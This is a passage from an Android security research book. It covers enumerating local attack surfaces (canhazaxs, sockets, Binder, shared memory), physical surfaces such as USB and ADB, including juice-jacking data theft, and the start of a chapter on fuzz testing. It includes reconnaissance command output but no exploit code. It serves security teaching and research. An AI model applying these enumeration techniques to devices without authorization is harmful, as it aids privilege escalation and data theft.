that could be interesting, Joshua J. Drake developed a tool called canhazaxs. The
following excerpt shows this tool in action on a Nexus 4 running Android 4.4.
[email protected]:/data/local/tmp # ./canhazaxs -u shell -g \
1003,1004,1007,1009,1011,1015,1028,3001,3002,3003,3006 /dev /data
[*] uid=2000(shell),
groups=2000(shell),1003(graphics),1004(input),1007(log),1009(mount),1011
(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats)
[*] Found 0 entries that are set-uid executable
[*] Found 1 entries that are set-gid executable
directory 2750 system shell /data/misc/adb
[*] Found 62 entries that are writable
[...]
file 0666 system system /dev/cpuctl/apps/tasks
[...]
chardev 0666 system system /dev/genlock
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[...]
socket 0666 root system /dev/socket/pb
[...]
directory 0771 shell shell /data/local/tmp
[...]
The -u and -g options passed to canhazaxs correspond to the user and groups
that should be considered when determining whether the entry is readable,
writable, or executable. After those options, you can specify any number of
directories to inspect. For each of these directories, canhazaxs recursively enumerates entries in all directories within. After everything is inspected, entries
that are accessible are shown prioritized by potential impact. For each entry,
canhazaxs shows the type, permissions, user, group, and path. This streamlines
the process of enumerating attack surfaces exposed via the file system.
Finding the code behind each endpoint depends on the type of entry. For
kernel drivers, searching the kernel source code for the specific entry’s name,
as discussed further in Chapter 10, is the best method. It’s difficult to fi nd
exactly what code operates on any particular regular file or directory. However,
inspecting the init.rc and related commands have led to the discovery of
privilege escalation vulnerabilities in the past. Determining the code behind
a socket endpoint can be tricky and is discussed further in the “Finding the
Code Behind a Socket” section later in this chapter. When you find the code, you
can determine the functionality provided by the endpoint. The deeper attack
surfaces beneath these endpoints present an opportunity to uncover previously
unknown privilege escalation issues.
Finding Other Local Attack Surfaces
Not all local attack surfaces are exposed via entries in the file system. Additional
attack surfaces exposed by the Linux kernel include system calls, socket implementations, and more. Many services and apps in Android expose attack surfaces
locally through different types of IPC, including sockets and shared memory.
System Calls
The Linux kernel has a rich attack surface that is exposed to local attackers.
Apart from things represented by an entry in the file system, the Linux kernel
also processes potentially malicious data when it executes system calls. As
such, system call handler functions inside the kernel represent an interesting
attack surface. Finding such functions is easily accomplished by searching for
the SYSCALL_DEFINE string within the kernel source code.
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Sockets
Software running on Android uses various types of sockets to achieve IPC. To
understand the full extent of the attack surface exposed by various types of
sockets you must first understand how sockets are created. Sockets are created
using the socket system call. Although various abstractions for creating and
managing sockets exist throughout Android, all of them eventually use the
socket system call. The following excerpt from the Linux manual page shows
this system call’s function prototype:
int socket(int domain, int type, int protocol);
The important thing to understand is that creating a socket requires specifying a domain, type, and protocol. The domain parameter is most important as
its value determines how the protocol parameter is interpreted. More detailed
information about these parameters, including supported values for each, can
be found from the Linux manual page for the socket function. Further, it’s
possible to determine which protocols are supported by an Android device by
inspecting the /proc/net/protocols file system entry:
[email protected]:/data/local/tmp $ ./busybox wc -l /proc/net/protocols
24 /proc/net/protocols
Each of the entries in this file represents an interesting attack surface to
explore further. The source code that implements each protocol can be found
within the Linux kernel source in the net subdirectory.
Common Socket Domains
Most Android devices make extensive use of sockets in the PF_UNIX, PF_INET,
and PF_NETLINK domains. Sockets in the PF_INET domain are further broken
down into those that use the SOCK_STREAM and SOCK_DGRAM types, which use
the TCP and UDP protocols. Detailed information about the status of instances
of each type of socket can be obtained via entries in the /proc/net directory
as depicted in Table 5-2.
Table 5-2: Status Files for Common Socket Domains
SOCKET DOMAIN
STATUS FILE
PF_UNIX
/proc/net/unix
PF_INET (SOCK_STREAM)
/proc/net/tcp
PF_INET (SOCK_DGRAM)
/proc/net/udp
PF_NETLINK
/proc/net/netlink
The first, and most commonly used, socket domain is the PF_UNIX domain.
Many services expose IPC functionality via sockets in this domain, which
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expose endpoints in the file system that can be secured using traditional user,
group, and permissions. Because an entry exists in the file system, sockets of
this type will appear when using the methods discussed in the “Exploring the
File System” section earlier in this chapter.
In addition to traditional PF_UNIX domain sockets, Android implements a
special type of socket called an Abstract Namespace Socket. Several core system
services use sockets in this domain to expose IPC functionality. These sockets
are similar to PF_UNIX sockets but do not contain an entry in the file system.
Instead, they are identified only by a string and are usually written in the form
@socketName. For example, the /system/bin/debuggerd program creates an
abstract socket called @android:debuggerd. These types of sockets are created
by specifying a NUL byte as the first character when creating a PF_UNIX socket.
The characters that follow specify the socket’s name. Because these types of
sockets do not have a file system entry, they cannot be secured in the same
way as traditional PF_UNIX sockets. This fact makes abstract socket endpoints
an interesting target for further exploration.
Any application that wants to talk to hosts on the Internet uses PF_INET sockets.
On rare occasions, services and apps use PF_INET sockets to facilitate IPC. As
shown earlier, this socket domain includes communications that use TCP and
UDP protocols. To create this type of socket, a process must have access to the
inet Android ID (AID). This is due to Android’s Paranoid Networking feature
that was first discussed in Chapter 2. These types of sockets are especially
interesting when used for IPC or to implement a service exposed to the network.
The final common type of socket in Android is the PF_NETLINK socket. These
types of sockets are usually used to communicate between kernel-space and
user-space. User-space processes, such as /system/bin/vold, listen for events
that come from the kernel and process them. As previously discussed in Chapter
3, the GingerBreak exploit relied on a vulnerability in vold’s handling of a
maliciously crafted NETLINK message. Attack surfaces related to PF_NETLINK
sockets are interesting because they exist in both kernel-space and privileged
user-space processes.
Finding the Code Behind a Socket
On typical Linux systems, you can match processes to sockets using the lsof
command or the netstat command with the -p option. Unfortunately, this
doesn’t work out of the box on Android devices. That said, using a properly
built BusyBox binary on a rooted device is able to achieve this task:
[email protected]:/data/local/tmp # ./busybox netstat -anp | grep /dev/socket/pb
unix 2
[ ]
DGRAM
5361 184/mpdecision
/dev/socket/pb
Using the preceding single command, you are able to discover that /dev/
socket/pb is in use by process ID 184 called mpdecision.
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In the event that a properly built BusyBox is not available, you can achieve the
same task using a simple three-step process. First, you use the specific entries
within the proc file system to reveal the process that owns the socket:
[email protected]:/data/local/tmp #
Num
RefCount Protocol
[email protected]:/data/local/tmp #
00000000: 00000002 00000000
./busybox head -1 /proc/net/unix
Flags
Type St Inode Path
grep /dev/socket/pb /proc/net/unix
00000000 0002 01 5361 /dev/socket/pb
In this example, you can see the /dev/socket/pb entry inside the special
/proc/net/unix file. The number that appears immediately before the path is
the inode number for the file system entry. Using the inode, you can see which
process has an open file descriptor for that socket:
[email protected]:/data/local/tmp # ./busybox ls -l /proc/[0-9]*/fd/* | grep 5361
[...]
lrwx-----1 root
root
64 Jan 2 22:03 /proc/184/fd/7 ->
socket:[5361]
Sometimes this command shows that more than one process is using the socket.
Thankfully, it’s usually obvious which process is the server in these cases. With
the process ID in hand, it’s simple to find more information about the process:
[email protected]:/data/local/tmp # ps 184
USER
PID
PPID VSIZE RSS
WCHAN
PC
NAME
root
184
1
7208
492
ffffffff b6ea0908 S /system/bin/mpdecision
Regardless of whether you use the BusyBox method or the three-step method,
you now know where to start looking.
Sockets represent a significant local attack surface due to the ability to communicate with privileged processes. The kernel-space code that implements various
types of sockets might allow privilege escalation. Services and applications in
user-space that expose socket endpoints might also allow privilege escalation.
These attack surfaces represent an interesting place to look for security issues.
By locating the code, you can look more closely at the attack surface and begin
your journey toward deeper attack surfaces within.
Binder
The Binder driver, as well as software that relies on it, presents an attack surface
that is unique to Android. As previously discussed in Chapter 2 and further
explored in Chapter 4, the Binder driver is the basis of Intents that are used
to communicate between app-level Android components. The driver itself is
implemented in kernel-space and exposes an attack surface via the /dev/binder
character device. Then, Dalvik applications communicate with one another
through several levels of abstraction built on top. Although sending Intents
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from native applications is not supported, it is possible to implement a service
in native code directly on top of Binder. Because of the many ways Binder can
be used, researching deeper attack surfaces might ultimately lead to achieving
privilege escalation.
Shared Memory
Although Android devices do not use traditional POSIX shared memory, they
do contain several shared memory facilities. As with many things in Android,
whether a particular facility is supported varies from one device to the next.
As introduced in Chapter 2, Android implements a custom shared memory
mechanism called Anonymous Shared Memory, or ashmem for short. You can
find out which processes are communicating using ashmem by looking at the
open file descriptors in the /proc file system:
[email protected]:/data/local/tmp # ./busybox ls -ld /proc/[0-9]*/fd/* | \
grep /dev/ashmem | ./busybox awk -F/ ‘{print $3}’ | ./busybox sort -u
[...]
176
31897
31915
596
686
856
In addition to ashmem, other shared memory facilities—for example, Google’s
pmem, Nvidia’s NvMap, and ION—exist on only a subset of Android devices.
Regardless of which facility is used, any shared memory used for IPC represents
a potentially interesting attack surface.
Baseband Interface
Android smartphones contain a second operating system known as the baseband.
In some devices the baseband runs on an entirely separate physical central processing unit (CPU). In others, it runs in an isolated environment on a dedicated
CPU core. In either situation, the Android operating system must be able to speak
to baseband in order to make and receive calls, text messages, mobile data, and
other communications that traverse the mobile network. The exposed endpoint,
which varies from one device to the next, is considered an attack surface of the
baseband itself. Accessing this endpoint usually requires elevated privileges
such as to the radio user or group. It’s possible to determine exactly how the
baseband is exposed by looking at the rild process. More information about
Android’s Telephony stack, which abstracts access to the baseband interface, is
presented in Chapter 11.
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Attacking Hardware Support Services
A majority of Android devices contain myriad peripheral devices. Examples
include GPS transceivers, ambient light sensors, and gyroscopes. The Android
Framework exposes a high-level API to access information provided by these
peripherals to Android applications. These APIs represent an interesting attack
surface because data passed to them might be processed by privileged services
or even the peripheral itself. The exact architecture for any given peripheral
varies from one device to the next. Because of the layers between the API and
the peripherals, the exposed API attack surface serves as an excellent example
of how deeper attack surfaces lie beneath more shallow ones. A more thorough
examination of this set of attack surfaces is beyond the scope of this book.
Physical Attack Surfaces
Attacks that require physically touching a device are said to lie within the physical
attack surface. This is in contrast to physical adjacency where the attacker only
needs to be within a certain range of the target. Attacking a mobile device using
physical access may seem less exotic and easier than other attacks. In fact, most
view physical attacks as being impossible to defend against. Consequently, you
might feel compelled to categorize these attacks as low severity. However, these
attacks can have very serious implications, especially if they can be executed in
short periods of time or without the victim knowing.
Over the past few years, researchers discovered several real-world attacks
that take advantage of the physical attack surface. Many of the first jailbreaks
for iOS devices required a Universal Serial Bus (USB) connection to the device.
Additionally, forensic examiners rely heavily on the physical attack surface
to either recover data or surreptitiously gain access to a phone. In early 2013,
researchers published a report detailing how they discovered public phone
charging stations that were launching attacks against select devices to install
malware. After it was installed, the malware would attempt to attack host
computers when the infected mobile devices were connected to them. These
are just some of the many examples of how attacks against the physical attack
surface can be more serious than you might initially assume. Physical attacks
aren’t as contrived as you might’ve first thought!
In order to further classify this category, we consider several criteria. First, we
decide whether it is acceptable to dismantle the target device. Taking a device
apart is not desirable because it carries a risk of causing damage. Still, attacks of
this nature can be powerful and should not be ruled out. Next, we examine the
possibilities that do not require disassembling the device. These attack vectors
include any peripheral access, such as USB ports and expandable storage media
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(usually microSD) slots. The rest of this section discusses these attack vectors
and the attack surfaces beneath them.
Dismantling Devices
Disassembling a target device enables attacks against the very hardware that
powers it. Many manufacturers assume the esoteric nature of computer hardware and electrical engineering is enough to protect a device. Because probing
the attack surface exposed by dismantling an Android device requires niche
skills and/or specialized hardware, manufacturers typically do not adequately
protect the hardware. It is therefore very advantageous to learn about some of
the physical attack surface exposed by just opening many devices. Opening a
hardware device often reveals:
■
Exposed serial ports, which allow for receiving debug messages or, in
some cases, providing shell access to the device
■
Exposed JTAG debug ports, which enable debugging, flashing, or accessing the firmware of a device
In the rare event that an attacker does not find these common interfaces, other
attacks are still possible. It is a very practical and real attack is to physically
remove flash memory or the core CPU (which often contains internal flash).
Once removed, an attacker can easily read the boot loader, boot configuration,
and full flash file-system off of the device. These are only a handful of attacks
that can be executed when an attacker has possession of a device.
Fortunately for you, this book does not just mention these things generally as
many other books have. Instead, this book demonstrates how we have employed
these techniques in Chapter 13. We will not delve into these physical attacks
much further in this chapter.
USB
USB is the standard wired interface for Android devices to interact with other
devices. Although iPhones have proprietary Apple connectors, most Android
devices have standard micro USB ports. As the primary wired interface, USB
exposes several different kinds of functionality that directly relate to the versatility of Android devices.
Much of this functionality depends on the device being in a particular mode
or having certain settings enabled in the device’s configuration. Commonly
supported modes include ADB, fastboot, download mode, mass storage, media
device, and tethering. Not all devices support all modes. Some devices enable
some modes, such as mass storage or Media Transfer Protocol (MTP) mode, by
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default. Other USB modes, such as fastboot and download mode, depend on
holding certain key combinations at boot. Further, some devices have a menu
that enables you select which mode to enter after the USB device is connected.
Figure 5-7 shows the USB connection type menu from an HTC One V.
Figure 5-7: HTC One V USB Mode Menu
The exact attack surfaces exposed depends on which mode the device is in or
which features are enabled. For all modes, drivers in the boot loader or Linux
kernel support the USB hardware. On top of those drivers, additional software
handles communicating using the protocols specific to each particular type of
functionality. Prior to Android 4.0, many devices use mass storage mode by
default. That said, some devices require enabling mass storage mode explicitly
by clicking a button on the screen. Android 4.x and later removed support for
mass storage mode entirely. It was clunky and required unmounting the /sdcard
partition from the device while the host machine was accessing it. Instead, later
devices use MTP mode by default.
Enumerating USB Attack Surfaces
In literature, a USB device is often referred to as a function. That is, it is a device
that provides some added functionality to the system. In reality, a single USB
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device could have many different functions. Each USB device has one or more
configurations, which in turn have at least one interface. An interface specifies
the collection of endpoints that represent the means of communicating with a
particular function. Data flows to or from an endpoint only in one direction. If
a device function requires bidirectional communications it will define at least
two endpoints.
Tools like lsusb and the libusb library enable us to further enumerate the
attack surface exposed by a USB device from the host to which it is connected.
The lsusb tool is capable of displaying detailed information about the interfaces
and endpoints supported by a device. The following excerpt shows the interface
and endpoints for ADB on an HTC One X+:
dev:~# lsusb -v -d 0bb4:0dfc
Bus 001 Device 067: ID 0bb4:0dfc High Tech Computer Corp.
Device Descriptor:
[...]
idVendor
0x0bb4 High Tech Computer Corp.
idProduct
0x0dfc
bcdDevice
2.32
iManufacturer
2 HTC
iProduct
3 Android Phone
[...]
bNumConfigurations
1
Configuration Descriptor:
[...]
bNumInterfaces
3
[...]
Interface Descriptor:
[...]
bNumEndpoints
2
bInterfaceClass
255 Vendor Specific Class
bInterfaceSubClass
66
bInterfaceProtocol
1
iInterface
0
Endpoint Descriptor:
bLength
7
bDescriptorType
5
bEndpointAddress
0x83 EP 3 IN
bmAttributes
2
Transfer Type
Bulk
Synch Type
None
Usage Type
Data
[...]
Endpoint Descriptor:
bLength
7
bDescriptorType
5
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bEndpointAddress
bmAttributes
Transfer Type
Synch Type
Usage Type
0x03
2
EP 3 OUT
Bulk
None
Data
[...]
You can then communicate with individual endpoints with libusb, which
also has bindings for several high-level languages like Python and Ruby.
Android devices support multiple functions simultaneously on a single USB
port. This support is called Multifunction Composite Gadget, and the software
behind it is called the Gadget Framework. On a device, you can often find more
information about supported USB modes from the init configuration files. For
example, the Nexus 4 has a file called /init.mako.usb.rc that details all the
possible mode combinations along with their associated vendor and product
ids. The following is the entry for the default mode:
on property:sys.usb.config=mtp
stop adbd
write /sys/class/android_usb/android0/enable 0
write /sys/class/android_usb/android0/idVendor 18D1
write /sys/class/android_usb/android0/idProduct 4EE1
write /sys/class/android_usb/android0/bDeviceClass 0
write /sys/class/android_usb/android0/bDeviceSubClass 0
write /sys/class/android_usb/android0/bDeviceProtocol 0
write /sys/class/android_usb/android0/functions mtp
write /sys/class/android_usb/android0/enable 1
setprop sys.usb.state ${sys.usb.config}
The preceding excerpt tells init how to react when someone sets the
sys.usb.config property to mtp. In addition to stopping the ADB daemon, init
also reconfigures the Gadget Framework through /sys/class/android_usb.
Additionally, you can find information about how the Android Framework
manages USB devices within the AOSP repository. The following excerpt shows
the various modes Android supports within the frameworks/base project:
dev:~/android/source/frameworks/base$ git grep USB_FUNCTION_
core/java/android/hardware/usb/UsbManager.java:57:
* <li> {@link
#USB_FUNCTION_MASS_STORAGE} boolean extra indicating whether the
core/java/android/hardware/usb/UsbManager.java:59:
* <li> {@link
#USB_FUNCTION_ADB} boolean extra indicating whether the
core/java/android/hardware/usb/UsbManager.java:61:
* <li> {@link
#USB_FUNCTION_RNDIS} boolean extra indicating whether the
core/java/android/hardware/usb/UsbManager.java:63:
* <li> {@link
#USB_FUNCTION_MTP} boolean extra indicating whether the
core/java/android/hardware/usb/UsbManager.java:65:
* <li> {@link
#USB_FUNCTION_PTP} boolean extra indicating whether the
core/java/android/hardware/usb/UsbManager.java:67:
* <li> {@link
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#USB_FUNCTION_PTP} boolean extra indicating whether the
core/java/android/hardware/usb/UsbManager.java:69:
* <li> {@link
#USB_FUNCTION_AUDIO_SOURCE} boolean extra indicating whether the
Digging deeper into the set of attack surfaces exposed over USB depends
on the precise functionality and protocols supported by the various interfaces.
Doing so is beyond the scope of this chapter, but Chapter 6 takes a closer look
at one such interface: Media Transfer Protocol (MTP).
ADB
Android devices that are used for development often have USB debugging
enabled. This starts the ADB daemon, which allows executing commands with
special privileges on an Android device. On many devices, especially those running versions of Android before 4.2.2, no authentication is required to access
the ADB shell. Further, the T-Mobile HTC One with software version 1.27.531.11
exposed ADB with no authentication by default and did not allow disabling it.
As you can imagine, this kind of access to a device makes some very interesting
attacks easy to accomplish.
Researchers such as Kyle Osborn, Robert Rowley, and Michael Müller demonstrated several different attacks that leveraged ADB access to a device. Robert
Rowley presented about “Juice Jacking” attacks at several conferences. In these
attacks, an attacker creates a charging station that can surreptitiously download a victim’s data or potentially install malicious software on their device.
Although Rowley’s kiosk only educated the public about these threats, a malicious actor may not be so kind. Kyle Osborn, and later Michael Müller, created
tools to download a victim’s data using ADB. Kyle Osborn’s tool was specifically
designed to run on the attacker’s Android device to enable what’s known as a
“physical drive-by” attack. In this attack, the attacker connects her device to the
victim’s device when the victim leaves it unattended. Stealing the most sensitive
data on a device takes only a few moments and makes this attack surprisingly
effective. Thankfully, later versions of Android added authentication by default
for ADB. This effectively mitigates these types of attacks, but does not eliminate
the ADB attack surface entirely.
Other Physical Attack Surfaces
Although USB is the most ubiquitous physical attack surface exposed on Android
devices, it is not the only one. Other physical attack surfaces include SIM Cards
(for smartphones), SD Cards (for devices that support expandable storage), HDMI
(for devices with such ports), exposed test points, docking connectors, and so
on. Android contains support for all of these interfaces by way of various types
of software range from kernel drivers to Android Framework APIs. Exploring
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the attack surfaces beneath these interfaces is beyond the scope of this chapter
and is left as an exercise to the interested reader.
Third-Party Modifications
As discussed in Chapter 1, several parties involved in creating Android devices
modify various parts of the system. In particular, OEMs tend to make extensive changes as part of their integration process. The changes made by OEMs
are not limited to any one area, but instead tend to be sprinkled throughout.
For example, many OEMs bundle particular applications in their builds, such
as productivity tools. Many even implement features of their own inside the
Android Framework, which are then used elsewhere in the system. All of these
third-party modifications can, and often do, increase the attack surface of a
given device.
Determining the full extent and nature of these changes is a difficult and
mostly manual process. The general process involves comparing a live device
against a Nexus device. As previously mentioned in Chapter 2, most devices host
many running processes that do not exist in vanilla Android. Comparing output
from the ps command and file system contents between the two devices will
show many of the differences. The init configuration files are also useful here.
Examining changes to the Android Framework itself will require specialized
tools for dealing with Dalvik code. When differences are located, discovering the
additional attack surface that such software introduces is quite an undertaking,
usually requiring many hours of reverse engineering and analysis.
Summary
This chapter explored all of the various ways that Android devices can be
attacked. It discussed how the different properties of applicable attack vectors
and attack surfaces help prioritize research efforts.
By breaking Android’s attack surfaces into four high-level categories based
on access complexities, this chapter drilled deeper into the underlying attack
surfaces. It covered how different types of adjacency can influence what kinds
of attacks are possible.
This chapter also discussed known attacks and introduced tools and techniques
that you can use to explore Android’s attack surface further. In particular, you
learned how to identify exposed endpoints such as network services, local IPC
facilities, and USB interfaces on an Android device.
Because of the sheer size of the Android code base, it is impossible to exhaustively examine Android’s entire attack surface in this chapter. As such, we
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encourage you to apply and extend the methods presented in this chapter to
explore further.
The next chapter expands upon the concepts in this chapter by further exploring several specific attack surfaces. It shows how you can find vulnerabilities
by applying a testing methodology known as fuzzing.
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CHAPTER
6
Finding Vulnerabilities with Fuzz
Testing
Fuzz testing, or fuzzing for short, is a method for testing software input validation
by feeding it intentionally malformed input. This chapter discusses fuzzing in
great detail. It introduces you to the origins of fuzzing and explains the nuances
of various associated tasks. This includes target identification, crafting inputs,
system automation, and monitoring results. The chapter introduces you to the
particulars of fuzzing on Android devices. Finally, it walks you through three
fuzzers tested during the writing of this book, each with their own approaches,
challenges, and considerations. These serve as examples of just how easy it is to
find bugs and security vulnerabilities with fuzzing. After reading this chapter,
you will understand fuzzing well enough to apply the technique to uncover
security issues lurking in the Android operating system.
Fuzzing Background
Fuzz testing has a long history and has been proven effective for finding bugs.
It was originally developed by Professor Barton Miller at the University of
Wisconsin—Madison in 1988. It started as a class project to test various UNIX
system utilities for faults. However, in the modern information security field
it serves as a way for security professionals and developers to audit the input
validation of software. In fact, several prominent security researchers have
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written books entirely focused on the subject. This simple technique has led to
the discovery of numerous bugs in the past, many of which are security bugs.
The basic premise of fuzz testing is that you use automation to exercise as
many code paths as is feasible. Processing a large number of varied inputs causes
branch conditions to be evaluated. Each decision might lead to executing code
that contains an error or invalid assumption. Reaching more paths means a
higher likelihood to discover bugs.
There are many reasons why fuzzing is popular in the security research community. Perhaps the most attractive property of fuzz testing is its automated
nature. Researchers can develop a fuzzer and keep it running while they go about
various other tasks such as auditing or reverse engineering. Further, developing
a simple fuzzer requires minimal time investment, especially when compared
with manual binary or source code review. Several fuzzing frameworks exist that
further reduce the amount of effort needed to get started. Also, fuzzing finds
bugs that are overlooked during manual review. All of these reasons indicate
that fuzzing will remain useful for the long term.
Despite its advantages, fuzz testing is not without drawbacks. Most notably,
fuzzing only finds defects (bugs). Classifying an issue as a security issue requires
further analysis on the part of the researcher and is covered further in Chapter
7. Beyond classification, fuzzing also has limitations. Consider fuzzing a 16-byte
input, which is tiny in comparison to most common file formats. Because each
byte can have 255 possible values, the entire input set consists of 319,626,579,315,
078,487,616,775,634,918,212,890,625 possible values. Testing this enormous set of
possible inputs is completely infeasible with modern technology. Finally, some
issues might escape detection despite vulnerable code being executed. One
such example is memory corruption that occurs inside an unimportant buffer.
Despite these drawbacks, fuzzing remains tremendously useful.
Compared to the larger information security community, fuzzing has received
relatively little attention within the Android ecosystem. Although several people
have openly discussed interest in fuzzing on Android, very few have talked
openly about their efforts. Only a handful of researchers have publicly presented
on the topic. Even in those presentations, the fuzzing was usually focused only
on a single, limited attack surface. Further, none of the fuzzing frameworks that
exist at the time of this writing address Android directly. In the grand scheme
of things, the vast attack surface exposed on Android devices seems to have
been barely fuzzed at all.
In order to successfully fuzz a target application, four tasks must be
accomplished:
■
Identifying a target
■
Generating inputs
■
Test-case delivery
■
Crash monitoring
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The first task is identifying a target. The remaining three tasks are highly
dependent on the first. After a target has been selected, you can accomplish
input generation in a variety of ways, be it mutating valid inputs or producing
inputs in their entirety. Then the crafted inputs must be delivered to the target
software depending on the chosen attack vector and attack surface. Finally,
crash monitoring is instrumental for identifying when incorrect behavior manifests. We discuss these four tasks in further detail in the following sections:
“Identifying a Target,” “Crafting Malformed Inputs,” “Processing Inputs,” and
“Monitoring Results.”
Identifying a Target
Selecting a target is the first step to crafting an effective fuzzer. Although a
random choice often suffices when pressed for time, careful selection involves
taking into account many different considerations. A few techniques that influence target selection include analyzing program complexity, ease of implementation, prior researcher experience, attack vectors, and attack surfaces. A familiar,
complex program with an easy-to-reach attack surface is the ideal target for
fuzzing. However, expending extra effort to exercise attack surfaces that are
more difficult to reach may find bugs that would be otherwise missed. The level
of effort invested into selecting a target is ultimately up to the researcher, but
at a minimum attack vectors and attack surface should be considered. Because
Android’s attack surface is very large, as discussed in Chapter 5, there are many
potential targets that fuzzing can be used to test.
Crafting Malformed Inputs
Generating inputs is the part of the fuzzing process that has the most variations.
Recall that exploring the entire input set, even for only 16 bytes, is infeasible.
Researchers use several different types of fuzzing to find bugs in such a vast
input space. Classifying a fuzzer primarily comes down to examining the
methods used to generate inputs. Each type of fuzzing has its own pros and
cons and tends to yield different results. In addition to the types of fuzzing,
there are two distinct approaches to generating input.
The most popular type of fuzzing is called dumb-fuzzing. In this type of fuzzing, inputs are generated without concern for the semantic contents of the
input. This offers quick development time because it does not require a deep
understanding of the input data. However, this also means that analyzing a
discovered bug requires more effort to understand the root cause. Essentially,
much of the research costs are simply delayed until after potential security issues
are found. When generating inputs for dumb-fuzzing, security researchers
apply various mutation techniques to existing, valid inputs. The most common
mutation involves changing random bytes in the input data to random values.
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Surprisingly, mutation-based dumb-fuzzing has uncovered an extremely large
number of bugs. It’s no surprise why it is the most popular type of fuzzing.
Smart-fuzzing is another popular type of fuzz testing. As its name implies,
smart-fuzzing requires applying intelligence to input generation. The amount
of intelligence applied varies from case to case, but understanding the input’s
data format is paramount. Although it requires more initial investment, smartfuzzing benefits from a researcher’s intuition and output from analysis. For
example, learning the code structure of a parser can immensely improve code
coverage while eliminating unnecessarily traversing uninteresting code paths.
Although mutation can still be used, smart-fuzzing typically relies on generative methods in which inputs are generated entirely from scratch, usually using
a custom program or a grammar based on the input data format. Arguably,
a smart-fuzzer is more likely to discover security bugs than a dumb-fuzzer,
especially for more mature targets that stand up to a dumb-fuzzer.
Although there are two main types of fuzzing, nothing prevents using a hybrid
approach. Combining these two approaches has the potential to generate inputs
that would not be generated with either of the approaches alone. Parsing an
input into data structures and then mutating it at different logical layers can be
a powerful technique. A good example of this is replacing one or several HTML
nodes in a DOM tree with a generated subtree. A hybrid approach using parsers enables limiting fuzzing to hand-selected fields or areas within the input.
Regardless of the type of fuzzing, researchers use a variety of techniques
to increase effectiveness when generating inputs. One trick prioritizes integer
values known to cause issues, such as large powers of two. Another technique
involves focusing mutation efforts on input data that is likely to cause issues and
avoiding those that aren’t. Modifying message integrity data or expected magic
values in an input achieves shallow code coverage. Also, context-dependent
length values may need to be adjusted to pass sanity checks within the target
software. A failure to account for these types of pitfalls means wasted tests,
which in turn means wasted resources. These are all things a fuzzer developer
must consider when generating inputs to find security bugs.
Processing Inputs
After crafting malformed inputs, the next task is to process your inputs with the
target software. After all, not processing inputs means not exercising the target
code, and that means not finding bugs. Processing inputs is the foundation for
the largest advantage of fuzzing: automation. The goal is simply to automatically
and repeatedly deliver crafted inputs to the target software.
Actual delivery methods vary depending on the attack vector being targeted.
Fuzzing a socket-based service requires sending packets, potentially requiring
session setup and teardown. Fuzzing a file format requires writing out the
crafted input file and opening it. Looking for client-side vulnerabilities may even
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require automating complex user interactions, such as opening an e-mail. These
are just a few examples. Almost any communication that relies on a network
has the potential to expose vulnerability. Many more attack patterns exist, each
with their own input processing considerations.
Similar to generating inputs, several techniques exist for increasing efficiency
when processing inputs. Some fuzzers fully simulate an attack by delivering
each input just as an attacker would. Others process inputs at lower levels in the
call stack, which affords a significant performance increase. Some fuzzers aim
to avoid writing to slow persistent storage, instead opting to remain memory
resident only. These techniques can greatly increase test rates, but they do come
at a price. Fuzzing at lower levels adds assumptions and may yield false positives
that aren’t reproducible when delivered in an attack simulation. Unfortunately,
these types of findings are not security issues and can be frustrating to deal with.
Monitoring Results
The fourth task in conducting effective fuzz testing is monitoring test results.
Without keeping an eye out for undesirable behavior, it is impossible to know
whether you have discovered a security issue. A single test could elicit a variety
of possible outcomes. A few such outcomes include successful processing, hangs,
program or system crashes, or even permanent damage to the test system. Not
anticipating and properly handling bad behavior can cause your fuzzer to stop
running, thereby taking away from the ability to run it without you present.
Finally, recording and reporting statistics enables you to quickly determine
how well your fuzzer is doing.
Like input crafting and processing, many different monitoring options are
available. A quick-and-dirty option is just to monitor system log files for unexpected events. Services often stop responding or close the connection when they
crash during fuzzing. Watching for such events is another way of monitoring
testing. You can employ a debugger to obtain granular information—such as
register values—when crashes occur. It’s also possible to utilize instrumentation
tools, such as valgrind, to watch for specific bad behaviors. API hooking is also
useful, especially when fuzzing for non-memory-corruption vulnerabilities.
If all else fails, you could create custom hardware and software to overcome
almost any monitoring challenge.
Fuzzing on Android
Fuzz testing on Android devices is much like fuzzing on other Linux systems.
Familiar UNIX facilities—including ptrace, pipes, signals, and other POSIX
standard concepts—prove themselves useful. Because the operating system
handles process isolation, there is relatively little risk that fuzzing a particular
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program will have adverse effects on the system as a whole. These facilities also
offer opportunities to create advanced fuzzers with integrated debuggers and
more. Still, Android devices do present some challenges.
Fuzzing, and software testing in general, is a complex subject. There are
many moving pieces, which means there are many opportunities for things
to go awry. On Android, the level of complexity is heightened by facilities not
present on regular Linux systems. Hardware and software watchdogs may
reboot the device. Also, Android’s application of the principle of least privilege
leads to various programs depending on each other. Fuzzing a program that
other programs depend on can cause multiple processes to crash. Further still,
dependencies on functionality implemented in the underlying hardware, such
as video decoding, can cause the system to lock-up or programs to malfunction.
When these situations arise, they often cause fuzzing to halt. These problems
must be accounted for when developing a robust fuzzer.
Beyond the various continuity complications that arise, Android devices
present another challenge: performance. Most devices that run Android are
significantly slower than traditional x86 machines. The emulator provided in
the Android Software Development Kit (SDK) usually runs slower than physical
devices, even when running on a host using top-of-the-line hardware. Although
a sufficiently robust and automated fuzzer runs well unattended, decreased
performance limits efficiency.
Apart from raw computational performance, communications speeds also
cause issues. The only channels available on most Android devices are USB and
Wi-Fi. Some devices do have accessible serial ports, but they are even slower.
None of these mechanisms perform particularly well when transferring files
or issuing commands regularly. Further, Wi-Fi can be downright painful to use
when an ARM device is in a reduced power mode, such as when its screen is off.
Due to these issues, it is beneficial to minimize the amount of data transferred
back and forth from the device.
Despite these performance issues, fuzzing on a live Android device is still
better than fuzzing on the emulator. As mentioned previously, physical devices
often run a build of Android that has been customized by the original equipment
manufacturer (OEM). If the code being targeted by a fuzzer has been changed
by the manufacturer, the output of a fuzzer could be different. Even without
changes, physical devices have code that is simply not present on an emulator
image, such as drivers for peripherals, proprietary software, and so on. While
fuzzing results may be limited to a particular device or device family, it is simply
insufficient to fuzz on the emulator.
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Fuzzing Broadcast Receivers
As discussed in Chapter 4, Broadcast Receivers and other interprocess communication (IPC) endpoints are valid input points in applications, and their security
and robustness is often overlooked. This is true for both third-party applications
and official Android components. This section introduces a very rudimentary,
very dumb fuzzing of Broadcast Receivers: null Intent fuzzing. This technique
materialized by way of iSEC Partners’ IntentFuzzer application, released circa
2010. Though not popularized or highlighted too much beyond the initial release
of that application, this approach can help to quickly identify juicy targets and
guide additional, more focused, and more intelligent fuzzing efforts.
